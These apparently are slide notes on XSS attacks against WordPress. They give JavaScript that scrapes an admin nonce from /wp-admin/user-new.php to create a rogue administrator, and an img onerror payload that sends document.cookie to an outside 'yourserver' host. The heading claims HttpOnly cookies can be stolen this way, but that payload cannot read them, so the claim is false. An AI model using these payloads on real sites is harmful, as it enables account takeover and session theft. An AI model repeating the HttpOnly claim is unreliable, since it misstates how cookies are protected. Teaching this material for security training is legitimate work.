XSS

XSS Exploitation Example

• Grabbing a nonce value from /wp-admin/user-new.php
  • var ajaxRequest = new XMLHttpRequest();
  • var requestURL = “/wp-admin/user-new.php”;
  • var nonceRegex = /ser” value=”([^”]*?)”/g;
  • ajaxRequest.open(“GET”, requestURL, false);
  • ajaxRequest.send();
  • var nonceMatch = nonceRegex.exec(ajaxRequest.responseText);
  • var nonce = nonceMatch[1];
• Then, use that nonce variable with /wp-admin/user-new.php to create a new administrator

Cookies with HttpOnly can be stolen with XSS

• <img src=x onerror=this.src='http://yourserver/?c='+document.cookie>
